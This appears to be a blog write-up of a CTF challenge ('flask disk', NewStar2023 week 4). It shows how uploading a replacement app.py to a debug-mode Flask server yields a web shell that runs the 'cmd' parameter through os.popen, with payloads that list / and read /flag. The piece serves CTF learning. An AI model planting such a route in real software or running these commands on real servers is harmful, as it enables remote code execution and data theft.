NewStar2023-week4---- flask disk

文章摘要

Bpple-GPT

NewStar2023-week4---- flask disk


题目提示:a flask disk with a vulneribility. (The application is running on port 5000)

image-20241104211308756

进入页面三个页面,

  • 可以看到上传的文件,发现存在 app.py
  • 上传文件页面
  • console页面,需要pin码

我们从了解到信息可以知道,程序运行的端口,和flask属于debug模式,可以修改app.py,重载,

所以说这个提示有时候就是破题点

我们上传一个可以命令执行的app.py,重载一下

 from flask import Flask, request
 import os
 ​
 app = Flask(__name__)
 ​
 ​
 @app.route('/')
 def index():
     try:
         cmd = request.args.get('cmd')
         data = os.popen(cmd).read()
         return data
     except:
         pass
 ​
     return "1"
 ​
 ​
 if __name__ == '__main__':
     app.run(host='0.0.0.0', port=5000, debug=True)

Payload:

 http://dadd7728-72ca-4181-834e-5c35b823c8bb.node5.buuoj.cn:81/?cmd=ls /

image-20241104211215855

 http://dadd7728-72ca-4181-834e-5c35b823c8bb.node5.buuoj.cn:81/?cmd=cat /flag

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

isfp 探险家

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

65 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

551
Hello Halo

2024-10-30

532
本地部署LLM

2024-08-22

511
Uptime Kuma

2024-11-29

507
241

访问统计